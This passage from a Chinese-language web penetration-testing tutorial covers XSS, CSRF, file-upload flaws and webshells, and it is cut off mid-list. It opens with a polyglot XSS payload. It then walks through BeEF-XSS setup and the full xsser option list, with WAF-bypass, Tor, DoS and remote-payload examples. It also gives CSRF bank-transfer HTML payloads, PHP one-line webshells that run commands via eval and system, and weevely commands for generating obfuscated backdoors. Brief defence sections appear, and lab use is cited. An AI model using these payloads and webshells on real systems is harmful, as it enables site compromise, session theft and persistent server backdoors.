jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
可以用這個 "萬能 xss payload" 試下 在線 xss:https://xss.angelo.org.cn/level1.php?name=XSS
更多功能的 xss 平臺
pikachu 的 xss 只有 "cookie、釣魚、記錄鍵盤" 功能。
可以看到只有3個模塊,模塊太少,如果需要其他功能,可以搜索其他 xss 后臺,
搜索關鍵字:xss 平臺、xss平臺
github xss平臺:https://github.com/78778443/xssplatform
搭建個人XSS平臺:https://blog.csdn.net/weixin_44676102/article/details/122021764
kali 中 xss 平臺 --- beef-xss
kali 早期版本中也有一個 " xss 平臺 " 叫做 " beff-xss ",新版本需要安裝。
1. apt install beef-xss ? ? # 安裝 beef
2. cd /usr/share/beef-xss ? # 切換到 beef 目錄
3. vim config.yaml ? ? ? ? ?# 打開配置文件
4. 按 i 進入插入模式,找到默認 user,password 進行修改,找到 host 修改成本機地址
5. systemctl start beef-xss.service ? ? # 開啟 beef
?systemctl stop beef-xss.service ? ? # 關閉 beef
?systemctl restart beef-xss.service # 重啟 beef
6. 瀏覽器打開 http://127.0.0.1:3000/ui/panel? 然后輸入用戶名、密碼
BeEF-XSS 管理登錄頁面。用戶名默認為 beef,密碼在首次啟動 beef-xss 時需要手動設置。( 啟動 beef-xss 會自動打開瀏覽器 )
測試 xss
Hocked Browers
- online browers 在線瀏覽器
- offline browers ?離線瀏覽器
Detials
- 瀏覽器、插件版本信息,操作系統(tǒng)信息
Logs
- 瀏覽器動作:焦點變化,鼠標單擊,信息輸入
commands
- 綠色模塊:表示模塊適用當前用戶,并且執(zhí)行結(jié)果對用戶不可見
- 紅色模塊:表示模塊不適用當前用戶,有些紅色模塊也可以執(zhí)行
- 橙色模塊:模塊可用,但結(jié)果對用戶可見
- 灰色模塊:模塊為在目標瀏覽器上測試過
BeEF-XSS詳細使用教程:https://blog.csdn.net/smli_ng/article/details/106067842
xss 掃描 工具
關鍵字:xss 掃描 工具
還在往各種輸入框里提交 <script>alert(/xss/)</script> ?
有這功夫不如喝喝茶、劃劃水?
這時候就需要 XSS 掃描 工具
xsser
github:https://github.com/epsylon/xsser
xsser 是一個自動框架,用于檢測、利用和報告基于 Web 的應用程序中的 XSS 漏洞。
用法:
xsser [OPTIONS] [--all <url> |-u <url> |-i <file> |-d <dork> (options)|-l ] [-g <get> |-p <post> |- c <crawl> (OPTIONS)]
[URL(s)] [Checker(s)] [Vector(s)] [Anti-anti-antiXSS/IDS] [Bypasser(s)] [Technique(s)] [Final Injection(s)] [Reporting] {Miscellaneous}
選項:
? ? --version ? ? ? ? 顯示版本
? ? -h, --help ? ? ? ?顯示幫助
? ? -s, --statistics ?顯示高級統(tǒng)計輸出結(jié)果
? ? -v, --verbose ? ? 詳細顯示輸出結(jié)果
? ? --gtk ? ? ? ? ? ? 啟動 XSSer GTK 接口
? ? --wizard ? ? ? ? ?啟動向?qū)е?/p>
*特殊功能*:
? ? 設置 Vector(s) 和 Bypasser(s) 來為嵌入的 XSS 代碼構建復雜的腳本。?
? ? XST 允許您發(fā)現(xiàn)目標是否容易受到 "跨站點跟蹤" 的影響 [CAPEC-107]
? ? --imx=IMX ? ? ? ?使用 XSS 創(chuàng)建圖像 (--imx image.png)
? ? --fla=FLASH ? ? ?使用 XSS 創(chuàng)建 Flash 電影 (--fla movie.swf)
? ? --xst=XST ? ? ? ?跨站點跟蹤 (--xst http(s)://host.com)
*選擇目標*:( 這些參數(shù)至少指定一個 ) ? ?
? ? --all=TARGET ? ? ? 自動審計整個目標
? ? -u URL, --url=URL ?輸入要審計的目標URL
? ? -i READFILE ? ? ? ?從文件中讀取目標URL
? ? -d DORK ? ? ? ? ? ?使用查詢搜索目標(例如:'news.php?id=')
? ? -l ? ? ? ? ? ? ? ? 從 "dorks" 列表中搜索
? ? --De=DORK_ENGINE ? 使用這個搜索引擎(默認:DuckDuckGo)
? ? --Da ? ? ? ? ? ? ? 使用所有搜索引擎進行海量搜索
*選擇 HTTP/HTTPS 連接類型*:
? ? ( 指定哪些參數(shù)用作有效負載。在要注入的位置上將 "XSS" 設置為關鍵字 )
? ? -g GETDATA ? ? ? ? ?使用 GET 發(fā)送有效負載(例如:'/menu.php?id=XSS')
? ? -p POSTDATA ? ? ? ? 使用 POST 發(fā)送有效負載(例如:'foo=1&bar=XSS')
? ? -c CRAWLING ? ? ? ? 在目標上抓取的 url 數(shù)量:1-99999
? ? --Cw=CRAWLER_WIDTH ?爬蟲深度:1-5(默認:2)
? ? --Cl ? ? ? ? ? ? ? ?僅抓取本地目標 URL(默認值:FALSE)
*配置請求*:( 指定如何連接到目標有效載荷??梢赃x擇多個 ) ? ?
? ? --head ? ? ? ? ? ? ? ?在開始測試之前發(fā)送 HEAD 請求
? ? --cookie=COOKIE ? ? ? 更改您的 HTTP Cookie 標頭
? ? --drop-cookie ? ? ? ? 忽略響應中的 Set-Cookie 標頭
? ? --user-agent=AGENT ? ?更改您的 HTTP User-Agent 標頭(默認值:SPOOFED)
? ? --referer=REFERER ? ? 使用另一個 HTTP Referer 標頭(默認值:NONE)
? ? --xforw ? ? ? ? ? ? ? 使用隨機 IP 值設置 HTTP X-Forwarded-For
? ? --xclient ? ? ? ? ? ? 使用隨機 IP 值設置您的 HTTP X-Client-IP
? ? --headers=HEADERS ? ? 額外的 HTTP 標頭換行分隔
? ? --auth-type=ATYPE ? ? HTTP 身份驗證類型(基本、摘要、GSS 或 NTLM)
? ? --auth-cred=ACRED ? ? HTTP 身份驗證憑據(jù)(名稱:密碼)
? ? --check-tor ? ? ? ? ? 檢查 Tor 是否正確使用
? ? --proxy=PROXY ? ? ? ? 使用代理服務器 (tor: http://localhost:8118)
? ? --ignore-proxy ? ? ? ?忽略系統(tǒng)默認的HTTP代理
? ? --timeout=TIMEOUT ? ? 選擇你的超時時間(默認值:30)
? ? --retries=RETRIES ? ? 連接超時重試(默認值:1)
? ? --threads=THREADS ? ? 最大并發(fā)請求數(shù)(默認:5)
? ? --delay=DELAY ? ? ? ? 每個請求之間的延遲秒數(shù)(默認值:0)
? ? --tcp-nodelay ? ? ? ? 使用 TCP_NODELAY 選項
? ? --follow-redirects ? ?跟隨服務器重定向(默認值:FALSE)
? ? --follow-limit=FLI ? ?設置重定向請求的限制(默認值:50)
*Checker(s)*:( 檢查目標是否使用過濾器來抵御 XSS 攻擊 ) ? ??
? ? --hash ? ? ? ? ? ? 發(fā)送一個哈希來檢查目標是否重復內(nèi)容
? ? --heuristic ? ? ? ?使用啟發(fā)式過濾來發(fā)現(xiàn)參數(shù)
? ? --discode=DISCODE ?在回復時設置代碼以丟棄注入
? ? --checkaturl=ALT ? 檢查回復使用:<alternative url> [aka BLIND-XSS]
? ? --checkmethod=ALTM 檢查回復使用:GET 或 POST(默認:GET)
? ? --checkatdata=ALD ?檢查回復使用:<alternative payload>
? ? --reverse-check ? ?建立從目標到 XSSer 的反向連接
*Vector(s)*:
? ? 指定注入代碼。
? ? --payload=SCRIPT ? 注入你自己的代碼
? ? --auto ? ? ? ? ? ? 注入 XSSer 提供的
*選擇 payload*:
? ? 設置 XSSer 提供的向量列表。 僅在需要時選擇
? ? --auto-set=FZZ_NUM ? ? ?要注入的向量限制(默認值:1293)
? ? --auto-info ? ? ? ? ? ? 僅選擇帶有 INFO 的向量(默認值:FALSE)
? ? --auto-random ? ? ? ? ? 設置隨機排序(默認值:FALSE)
*反 antiXSS 防火墻規(guī)則*:
? ? 這些選項可用于嘗試繞過特定的 WAF/IDS 產(chǎn)品和一些反 XSS 瀏覽器過濾器。
? ? 僅在需要時選擇: ? ?
? ? --Phpids0.6.5 PHPIDS (0.6.5) [全部]
? ? --Phpids0.7 PHPIDS (0.7) [全部]
? ? --Imperva Imperva Incapsula [全部]
? ? --Webknight WebKnight (4.1) [Chrome]
? ? --F5bigip F5 大IP [Chrome + FF + Opera]
? ? --Barracuda Barracuda WAF [全部]
? ? --Modsec Mod-Security [全部]
? ? --QuickDefense 快速防御 [Chrome]
? ? --Sucuri SucuriWAF [全部]
? ? --Firefox Firefox 12 [及以下]
? ? --Chrome Chrome 19 和 Firefox 12 [及以下]
? ? --Opera Opera 10.5 [及以下]
? ? --Iexplorer IExplorer 9 & Firefox 12 [及以下]
*選擇 Bypasser(旁路器)*:
? ? 用于對向量進行編碼并嘗試繞過可能的反 XSS 過濾器。?
? ? 它們可以與其他技術結(jié)合使用
? ? --Str ? ? 使用方法 String.FromCharCode()
? ? --Une ? ? 使用 Unescape() 函數(shù)
? ? --Mix ? ? 混合 String.FromCharCode() 和 Unescape()
? ? --Dec ? ? 使用十進制編碼
? ? --Hex ? ? 使用十六進制編碼
? ? --Hes ? ? 使用帶分號的十六進制編碼
? ? --Dwo ? ? 使用 DWORD 編碼 IP 地址
? ? --Doo ? ? 使用八進制編碼 IP 地址
? ? --Cem=CEM 設置不同的 "字符編碼突變"(反轉(zhuǎn)混淆器)(例如:'Mix,Une,Str,Hex')
*特殊技術*:
? ? 這些選項可用于使用不同的 XSS 技術和模糊向量注入代碼??梢赃x擇多個
? ? --Coo ? ?跨站腳本 Cookie 注入
? ? --Xsa ? ?跨站點代理腳本
? ? --Xsr ? ?跨站引用腳本
? ? --Dcp ? ?數(shù)據(jù)控制協(xié)議注入
? ? --Dom ? ?文檔對象模型注入
? ? --Ind ? ?HTTP 響應拆分誘導代碼
*選擇最終注射*:
? ? 這些選項可用于指定要在易受攻擊的目標上注入的最終代碼。?
? ? 如果您\想 "瘋狂地" 利用發(fā)現(xiàn)的漏洞,這一點很重要。 只選擇一個選項
? ? --Fp=FINALPAYLOAD ? ?利用你自己的代碼
? ? --Fr=FINALREMOTE ? ? 利用腳本 -remotely-
*特殊最終注射*:
? ? 這些選項可用于在易受攻擊的目標上執(zhí)行一些“特殊”注入。?
? ? 您可以選擇多個并將它們與您的最終代碼組合(DCP 漏洞利用除外) ? ?
? ? --Anchor ? ?使用 "Anchor Stealth" 有效載荷(DOM 陰影!)
? ? --B64 ? ? ? META 標簽中的 Base64 代碼編碼 (rfc2397)
? ? --Onm ? ? ? 使用 onMouseMove() 事件
? ? --Ifr ? ? ? 使用 <iframe> 源標簽
? ? --Dos ? ? ? XSS(客戶端)拒絕服務
? ? --Doss ? ? ?XSS(服務器)拒絕服務
*報告*:
? ? --save ? ? ? ? ? 導出到文件 (XSSreport.raw)
? ? --xml=FILEXML ? ?導出為 XML (--xml file.xml)
*各種各樣的*:
? ? --silent ? ? ? ? ? 禁止控制臺輸出結(jié)果
? ? --alive=ISALIVE ? ?在檢查目標是否處于活動狀態(tài)之前設置錯誤限制
? ? --update ? ? ? ? ? 檢查最新的穩(wěn)定版本
示例:xsser -u https://xss.angelo.org.cn -g "/level1.php?name=XSS"
也可以圖形化:xsser --gtk
XSS 跨站攻擊 - (3) xsser:https://www.jianshu.com/p/3665f86730f7
使用示例:
用法舉例:
==============================
從URL進行簡單XSS注入:
xsser -u "http://host.com"
-------------------
從一個文件中讀取URL并且進行簡單的注入,同時設定代理參數(shù)和HTTP Header參數(shù):
xsser -i "file.txt" --proxy "http://127.0.0.1:8118" --referer "666.666.666.666"
-------------------
從URL進行多重注入, 使用自動化負荷,和代理, 注入負荷使用116進制編碼 "Hex",?
產(chǎn)生冗長的輸出,并且將結(jié)果保存到一個文件 (XSSlist.dat):
xsser -u "http://host.com" --proxy "http://127.0.0.1:8118" --auto --Hex --verbose -w
-------------------
URL進行多重注入, 使用自動化負荷和特殊的文字編碼(
第一, 改變負荷為16進制;?
第二, 改變第一次的編碼為字節(jié)碼到字符串;?
第三, 把第二次的編碼重新進行16進制編碼),?
使用代理欺騙, 改變時間延遲為 "20" and 使用多線程 (5 個線程):
xsser -u "http://host.com" --auto --Cem "Hex,Str,Hex" --user-agent "XSSer!!" --timeout "20" --threads "5"
-------------------
從文件讀取進行高級注入, 負荷采用 -own- payload 參數(shù),并且使用Unescape() 函數(shù)進行字符編碼繞過檢測:
xsser -i "urls.txt" --payload 'a="get";b="URL(\"";c="javascript:";d="alert('XSS');\")";eval(a+b+c+d);' --Une
-------------------
傻瓜式的選擇 "duck" 引擎進行注入 (XSSer 蠕蟲!):
xsser --De "duck" -d "search.php?"
-------------------
注入爬行深度為3 ,頁面數(shù)目(寬度)為4 來進行檢測(XSSer 蜘蛛!):
xsser -c3 --Cw=4 -u "http://host.com"
-------------------
從URL簡單注入, 使用POST方式, 并且統(tǒng)計結(jié)果:
xsser -u "http://host.com" -p "index.php?target=search&subtarget=top&searchstring=" -s
-------------------
從URL進行多重注入,發(fā)送參數(shù)類型為GET, 使用自動負荷,?
使用八進制的IP地址進行混淆并且輸出結(jié)果到一個 "tinyurl" 短網(wǎng)址 (為分享者準備!):
xsser -u "http://host.com" -g "bs/?q=" --auto --Doo --short tinyurl
-------------------
從URL進行簡單注入, 使用 GET 參數(shù), 用Cookies參數(shù)注入一個向量,?
嘗試使用一個 DOM 幽靈空間 (服務器無日志記錄!) 如果存在任何 "漏洞",?
則手工植入 "惡意" 代碼 (為真正的攻擊者準備!):
xsser -u "http://host.com" -g "bs/?q=" --Coo --Anchor --Fr="!enter your final injection code here!"
-------------------
從URL進行簡單注入, 使用 GET 參數(shù), 嘗試產(chǎn)生一個帶
"惡意代碼" 短網(wǎng)址 (is.gd) 使用一個有效的DOS來攻擊客戶端:
xsser -u "http://host.com" -g "bs/?q=" --Dos --short "is.gd"
-------------------
多點多重注入, 從一個目標中提取目標, 運行自動負荷,改變時間延時為 "20" ,
并且使用多線程(5 個線程), 增加延時到10 s, 注入?yún)?shù)到HTTP 的USer-Agent, HTTP 參數(shù) 和 Cookies參數(shù),?
使用Tor代理, IP進行八進制混淆, 進行結(jié)果統(tǒng)計, 冗長 模式創(chuàng)建短網(wǎng)址 (tinyurl)?
來發(fā)現(xiàn)任何有效的攻擊負荷 (真正的攻擊模式!):
xsser -i "list_of_url_targets.txt" --auto --timeout "20" --threads "5" --delay "10" --Xsa --Xsr --Coo --proxy "http://127.0.0.1:8118" --Doo -s --verbose --Dos --short "tinyurl"
-------------------
注入用戶的XSS攻擊向量在 "在空白處"創(chuàng)建帶惡意代碼的虛假圖片, 并且準備被上傳.
xsser --Imx "test.png" --payload "!在這兒輸入你的惡意代碼!"
-------------------
報告輸出'positives' 注入到 dorking搜索 (使用 "ask" dorker) ,直接寫入到一個 XML 文件.
xsser -d "login.php" --De "ask" --xml "security_report_XSSer_Dork_cuil.xml"
-------------------
在 dorking 搜索中輸出正確的結(jié)果 (使用 "duck" 標示) 可以直接查看http://identi.ca
(XSS 滲透測試 Vs 僵尸網(wǎng)絡聯(lián)盟)
xsser -d "login.php" --De "duck" --publish
* 在線例子:
-http://identi.ca/xsserbot01
-http://twitter.com/xsserbot01
-------------------
* 使用XSS代碼注入創(chuàng)建一個 .swf 文件
xsser --imx "name_of_file"
-------------------
如果目標產(chǎn)生錯誤的結(jié)果,則每次發(fā)送一個檢測hash。
xsser -u "host.com" --check
-------------------
從URL進行多重Fuzz注入, 包含 DCP 注入 利用自己的代碼, 用短網(wǎng)址進行欺騙, 發(fā)現(xiàn)有用的結(jié)果. XSS實時利用.
xsser -u "host.com" --auto --Dcp --Fp "enter_your_code_here" --short "is.gd"
-------------------
Base64 編碼中間的標記(rfc2397) 從而對一個可攻擊目標進行手工利用.
xsser -u "host.com" -g "vulnerable_path" --payload "valid_vector_injected" --B64
-------------------
利用自己的 "own" -遠程代碼-直接在瀏覽器中進行加載和Fuzz測試。
xsser -u "host.com" -g "vulnerable_path" --auto --Fr "my_host/path/code.js" --launch
強大的XSS掃描工具:XSpear
:https://zhuanlan.zhihu.com/p/101510369
XSStrike
只能運行在 Python3 環(huán)境
:https://zhuanlan.zhihu.com/p/340106569
xss-labs 游戲 靶場
?講解 ( 1-10關?)
- :https://www.bilibili.com/video/BV1Mr4y1i7s4?p=12
- :https://www.bilibili.com/video/BV1jL4y1j7i6?p=13
?xss-labs 靶場 地址:https://github.com/do0dl3/xss-labs
在線 靶場:https://xss.angelo.org.cn/level1.php?name=test
??xss-labs通關大合集:https://blog.csdn.net/wo41ge/article/details/107459332
XSS(跨站腳本攻擊)小結(jié):https://www.cnblogs.com/Ben-john/p/13829678.html
XSS 從菜鳥到高手,你可能需要這些干貨&技巧:https://www.cxymm.net/article/MachineGunJoe/117520828
1-10 關 payload:
在線 html 編碼:https://www.bt.cn/tools/encryhtml.html
s 的 16進制編碼為 x73,但是 payload 中完成表示是?s
當前防御 XSS 的幾種策略
1、瀏覽器端主動進行XSS識別
如上述Chrome瀏覽器會自動識別XSS攻擊代碼,并進行請求的屏蔽
2、服務器端對于用戶輸入的內(nèi)容進行過濾
- a) 將重要的 cookie 標記為 http only,這樣的話 Javascript 中的 document.cookie 語句就不能獲取到 cookie了;
- b) 只允許用戶輸入我們希望的數(shù)據(jù),進行數(shù)據(jù)格式校驗,例如年齡就只能輸入0-160的數(shù)字
- c)? 對數(shù)據(jù)進行 html encode 處理,過濾或移除特殊的 Html 標簽, 例如:< 替代 <, > 替代 >, " 替代 "
- d) 過濾 JavaScript 事件的標簽。例如 "οnclick=", "onfocus" 等等。
3、使用較為安全的開發(fā)框架
上述代碼所使用的 nunjucks 模板中:
<label>展示內(nèi)容</label> <div id="show" class="col-md-4">{{text | safe}}<!--這里是nunjucks模板的展示寫法,由后臺賦值text變量--> </div>nunjucks 默認所有值都會在視圖內(nèi)自動轉(zhuǎn)義,以防止 HTML 注入和 XSS 攻擊。 但是
| safe這個語句是允許應用程序在視圖中注入 HTML 片段。所以才會被 XSS 攻擊
4、web 入口、出口 進行過濾
WAF 全稱 Web Application Firewall,和傳統(tǒng)防火墻的區(qū)別是,它是工作在應用層的防火墻,主要對 web 請求/響應進行防護。
Web 應用防火墻WAF簡介:https://zhuanlan.zhihu.com/p/97396469
WAF 功能介紹(入門掃盲篇):https://www.cnblogs.com/realjimmy/p/12937247.html
2021年十大開源 waf:https://zhuanlan.zhihu.com/p/342756722
總結(jié)
XSS 攻擊相比于 CSRF 攻擊,還是比較容易防范的,只要同時限制用戶輸入數(shù)據(jù)的格式和進行數(shù)據(jù)轉(zhuǎn)義,基本可以杜絕此類攻擊
3、CSRF (?跨站請求偽造 )
原理、定義
?視頻講解:https://www.bilibili.com/video/BV1jL4y1j7i6?p=14
CSRF定義:?跨站請求偽造(英語:Cross-site request forgery)是一種對網(wǎng)站的惡意利用,也被稱為 one-click attack 或者 session riding,通??s寫為 CSRF 或者 XSRF, 是一種挾制用戶在當前已登錄的 Web 應用程序上執(zhí)行非本意的操作的攻擊方法。?CSRF跨站點請求偽造(Cross—Site Request Forgery) 跟 XSS 攻擊一樣,存在巨大的危害性。
? ? ? ? 你可以這樣來理解:攻擊者盜用了你的身份,以你的名義發(fā)送惡意請求,對服務器來說這個請求是完全合法的,但是卻完成了攻擊者所期望的一個操作,比如以你的名義發(fā)送郵件、發(fā)消息,盜取你的賬號,添加系統(tǒng)管理員,甚至于購買商品、虛擬貨幣轉(zhuǎn)賬等。????????
? ? ? ? 簡單地說,是攻擊者通過一些技術手段欺騙用戶的瀏覽器去訪問一個自己曾經(jīng)認證過的網(wǎng)站并執(zhí)行一些操作(如發(fā)郵件,發(fā)消息,甚至財產(chǎn)操作如轉(zhuǎn)賬和購買商品)。由于瀏覽器曾經(jīng)認證過,所以被訪問的網(wǎng)站會認為是真正的用戶操作而去執(zhí)行。這利用了web中用戶身份驗證的一個漏洞:簡單的身份驗證只能保證請求發(fā)自某個用戶的瀏覽器,卻不能保證請求本身是用戶自愿發(fā)出的。? ? ? ?
CSRF地位:是一種網(wǎng)絡攻擊方式,是互聯(lián)網(wǎng)重大安全隱患之一,NYTimes.com(紐約時報)、Metafilter,YouTube、Gmail和百度HI都受到過此類攻擊。
對比XSS:跟跨網(wǎng)站腳本(XSS)相比,
- XSS 利用的是用戶對指定網(wǎng)站的信任,需要獲取 用戶的 cookie,需要把 惡意代碼注入到網(wǎng)站
- CSRF 利用的是網(wǎng)站對用戶網(wǎng)頁瀏覽器的信任。不需要把代碼注入網(wǎng)站,只需要調(diào)用接口
如下:其中
- Web A 為存在CSRF漏洞的網(wǎng)站,
- Web B 為攻擊者構建的惡意網(wǎng)站,
- User C 為Web A網(wǎng)站的合法用戶。
如果上面 CSRF 原理看不懂,可以再看這個原理:
先了解第一方和第三方cookie概念
- Cookie 是一個域服務器存儲在瀏覽器中的一小段數(shù)據(jù)塊,只能被這個域訪問,誰設置則誰訪問。
- 第一方 Cookie:比如,訪問 www.a.com 這個網(wǎng)站,這個網(wǎng)站設置了一個Cookie,這個Cookie也只能被 www.a.com 這個域下的網(wǎng)頁讀取。
- 第三方 Cookie:比如,訪問www.a.com這個網(wǎng)站,網(wǎng)頁里有用到www.b.com網(wǎng)站的一張圖片,瀏覽器在www.b.com請求圖片的時候,www.b.com設置了一個Cookie,那這個Cookie只能被www.b.com這個域訪問,反而不能被www.a.com這個域訪問,因為對我們來說,我們實際是在訪問www.a.com這個網(wǎng)站被設置了一個www.b.com這個域下的Cookie,所以叫第三方Cookie。
CSRF 原理:
CSRF payload
關鍵字:CSRF payload
<img src="http://superbank.com/banktransfer.php?nameid=200amount=1000", width="0" height="0">
<a href="http://superbank.com/banktransfer.php?nameid=200amount=1000">MM在線聊天,黃圖</a>
<form action="http://superbank.com/banktransfer.php?nameid=200amount=1000" method="POST">
? ? <input type="hidden" name="account" value="zhangsan" />
? ? <input type="hidden" name="amount" value="1000" />
? ? <input type="hidden" name="to" value="wangwu" />
</form>
csrf 中的一些小tricks:https://saucer-man.com/information_security/404.html
網(wǎng)絡安全滲透測試—[常規(guī)漏洞挖掘與利用篇9]—[CSRF漏洞與測試]:https://blog.csdn.net/qq_45555226/article/details/122775569
CSRF 漏洞挖掘
怎么確定一個接口地址有沒有 CSRF 漏洞?
網(wǎng)站的 cookie 被第三方利用,然后再調(diào)用網(wǎng)站的接口。這種現(xiàn)象是不合理的。如果請求是從自己的網(wǎng)站的前端頁面發(fā)起的,是正常請求。如果不是從自己的前端頁面發(fā)起的,則可能是 CSRF,但是又不可能把所有不是從自己前端頁面的全屏蔽了( 因為 引流、SEO 也會產(chǎn)生請求) 。
只要一個網(wǎng)站的接口能被第三方調(diào)用成功,就有 CSRF,但是并不一定會發(fā)生 CSRF 攻擊,因為有些網(wǎng)站本來就是公開的,或者被第三方調(diào)用的。只要保證 敏感API請求 不被第三方調(diào)用即可。
具體怎么操作?
判斷是不是 CSRF 主要是看是不是從自己的前端頁面發(fā)起的 敏感API請求,例如:銀行的轉(zhuǎn)賬請求、修改密碼請求等。( 其實只要不是從自己前端頁面發(fā)送攜帶 cookie 的請求都是 CSRF。例如:爬蟲?,但是只要不是敏感信息,不是必須要自己的前端頁面發(fā)起的請求,可以認為不是 CSRF 攻擊)
CSRF 自動化工具
半自動化 工具 ( 需要抓包,然后修改請求再發(fā)送 )
Burp Suite pro:https://portswigger.net/burp/pro
CSRF tester ( 工具比較老,推薦?Burp Suite pro )? github:
CSRFTester & burpsuite之CSRF測試:https://www.cnblogs.com/forforever/p/12733474.html
【CSRF詳解】CSRF原理、利用過程、分類、舉例、工具:https://blog.csdn.net/qq_53079406/article/details/123942109
全自動化 工具
Bolt (? ):https://github.com/s0md3v/Bolt
CSRF 的防御
- 1. 區(qū)分是來自自己的前端頁面,還是第三方頁面。header 里面的 refer 字段
- 2. 讓前端頁面和偽造的請求不一樣,例如:加上 token
- ........
Pikachu 靶場 之 CSRF漏洞詳解
:https://blog.csdn.net/m0_46467017/article/details/124795334
dvwa 靶場 csrf
DVWA靶場之CSRF(跨站請求偽造)通關:
- :https://www.shuzhiduo.com/A/x9J2Xb6Kd6/
- :http://wjhsh.net/tonywell-p-14014086.html
4、文件上傳漏洞
文件上傳漏洞原理:文件上傳漏洞是指用戶上傳一個文件,文件中嵌入 可執(zhí)行代碼,而且通過這段代碼,可以獲得執(zhí)行服務器命令的能力。上傳 "頭像、資源、圖片、附件、簡歷"?等,只要是上傳東西,都可能文件上傳漏洞
發(fā)現(xiàn)、利用
發(fā)現(xiàn)漏洞的一般流程
- 1. 找到文件上傳位置。
在網(wǎng)頁上一個一個點擊,如果能看到源碼,可以直接搜索 upload 等關鍵字等。
曲線救國:如果是 Redis 開啟持久化 + 未授權的訪問漏洞,通過redis寫入文件。MySQL 讀寫 ( sql 注入 )? 等等。使用相關工具自動化掃描目錄,發(fā)現(xiàn)文件上傳漏洞:(?https://github.com/almandin/fuxploider ) - 2. 嘗試繞過校驗,并上傳文件
- 3. 獲得文件位置
- 4. 使用蟻劍進行連接,管理文件
還可以使用工具自動化發(fā)現(xiàn)漏洞。Fuxploider (?https://github.com/almandin/fuxploider ) 是一種開源滲透測試工具,可自動檢測和利用文件上傳表單缺陷的過程。該工具能夠檢測允許上傳的文件類型,并能夠檢測哪種技術最適合在所需的Web服務器上上傳Web shell或任何惡意文件。
利用漏洞的一些方法:
刪除/禁用 JavaScript、修改 MIME、等價擴展名、大小寫、htaccess、雙寫、空格、點、::$DATA、%00截斷、0x00截斷、圖片馬、條件競爭 等等。
防? ? 御
- 擴展名(后綴) 黑白名單
- MIME 類型校驗(image/gif)
- 文件內(nèi)容頭校驗(GIF89a)
- 對文件內(nèi)容進行二次渲染
- 對上傳的文件重命名,不易被猜測
- 不要暴露上傳文件的位置
- 禁用上傳文件的執(zhí)行權限
- 服務器配置
webshell 介紹
github 搜索:?webshell
github ( 一句話木馬、大馬、小馬 ):https://github.com/tennc/webshell
一句話木馬
代碼短,只有一行,場景多,可以單獨生成文件,也可以插入到圖片中,安全性高隱匿性強,可變性免殺。
<?php header("Content-type:text/html;charset=gb2312");@eval($_POST['payload']); ?> <?php header("Content-type:text/html;charset=gb2312")if(isset($_GET('cmd'))){echo($_GET['cmd']);echo "pre";system($_GET('cmd'));}else{echo "用法 : ?cmd=value";} ?>示例 演示:
網(wǎng)站根目錄下添加 test_muma.php 文件,文件內(nèi)容如圖所示,然后瀏覽器訪問?"http://127.0.0.1/pikachu_master/test_muma.php" 出現(xiàn)空白頁,這是正常返回,因為沒有內(nèi)容,只要不出現(xiàn) 404 就是正常。( php 版本5.6.9、 firefox最新版 (?chrome 最新版顯示不出來 ) )
相關 payload
payload=system("ver");
payload=system("ipconfig");
payload=system("dir c:");
上面截圖中的 test_muma.php 就相當于打入到敵人內(nèi)部的臥底,通過這個臥底執(zhí)行命令
小馬
體積小,功能少,只有文件上傳功能,是為一句話木馬鋪路用的。
使用場景:當一個站點 "沒有文件上傳功能",但是可以放文件進入時,就可以把 "具有文件上傳功能的文件" 放進去,通過這個文件上傳 一句話木馬文件,?從而間接的實現(xiàn)文件上傳功能。
大馬
體積大,功能全,能夠管理數(shù)據(jù)庫,文件管理,對站點進行信息收集,甚至能夠提權
從哪找或者怎么編寫 大馬、小馬
- 可以從 github 上直接搜索 webshell? (?https://github.com/search?q=webshell )
- 還有一些工具可以自動的生成,例如下面的:冰蝎、哥斯拉
網(wǎng)站控制工具
通過 "一句話木馬、大馬、小馬" 控制網(wǎng)站后,可以通過 "網(wǎng)站控制工具" 進行管理
Web shell 與 冰蝎、蟻劍、哥斯拉(新手必看):https://blog.csdn.net/weixin_54161921/article/details/118579926
Web 木馬常用工具有三個 (?蟻劍、哥斯拉、冰蝎?):
- 中國菜刀 ( 已經(jīng)很久沒更新,可以忽略?)
- weevely ( 命令行,kali 自帶?):?:https://github.com/epinna/weevely3weevely? 生成的 php 木馬
- 蟻劍(AntSword)?:https://github.com/AntSwordProject/antSword
- 哥斯拉(Godzilla Shell 管理工具)?:https://github.com/BeichenDream/Godzilla
- 冰蝎(Behinder 3.0)?:https://github.com/rebeyond/Behinder
使用示例:weevely
Kali Weevely 工具使用詳解 ( php菜刀 ):https://blog.51cto.com/u_15346415/3692421
Weevely ( Linux中的菜刀 ):https://blog.csdn.net/qq_45521281/article/details/106587791
weevely 是一款使用 python 編寫的 webshell 工具(集 webshell 生成和連接于一身),可以算作是 linux 下的一款菜刀替代工具(限于php),在linux上使用時還是很給力的,就是某些模塊在windows上無法使用,總的來說還是非常不錯的一款工具
新建一個遠程控制文件(?生成 Shell )。
用法:weevely generate <password> <文件名>
示例:weevely generate 123456 shell.php
// 生成 混淆 shell
用法:weevely generate -obfuscator cleartext1_php <password> <文件名>
示例:weevely generate -obfuscator cleartext1_php 123456 shell.php
新生成的文件格式只能是下面的一種:
- *.php:(生成php后門文件)
- *.img:(將后門代碼插入到圖片中,并修改.htaccess,該后門需要服務器開啟.htaccess,因為該后門依賴于在.htaccess中使web服務器對圖片文件進行php解析)
- *.htaccess:(將后門代碼插入到.htaccess,該后門需要使用同樣需要服務器開啟.htaccess。生成的.htaccess里包含了php后門語句,同時使用相關配置使得web服務器對該文件進行php解析)
連接一個 session 會話。(?連接 shell )
備注:使用所設置的密碼連接所給的后門 url,連接成功后,會將連接配置信息以 session 文件的形式保存在本地,下次需要再次連接時可直接讀取 session 文件進行連接
// 連接一個曾經(jīng)連接過的 session 會話
用法:weevely session <path> [cmd]
示例:weevey http://xxxx.com/shell.php 123456
[cmd] 參數(shù):為可選參數(shù),如果使用該參數(shù)則在控制時只執(zhí)行一次命令就結(jié)束,不建立長久連接( 直接命令執(zhí)行有助于批量 webshell 處理,批量掛馬或者操作等等 )
連接一個遠程控制文件
// 連接一個遠程的URL開啟遠程控制,使用遠程控制文件密碼 password,[cmd]為命令可選
用法:weevely <URL> <password> [cmd]
后滲透階段命令。滲透到對方服務器之后,想相當于開啟了一個 shell,除了執(zhí)行基礎的系統(tǒng)命令,還可以輸入help,調(diào)用 weevely 模塊。
?信息收集
:system_info ?//收集系統(tǒng)信息模塊,如下
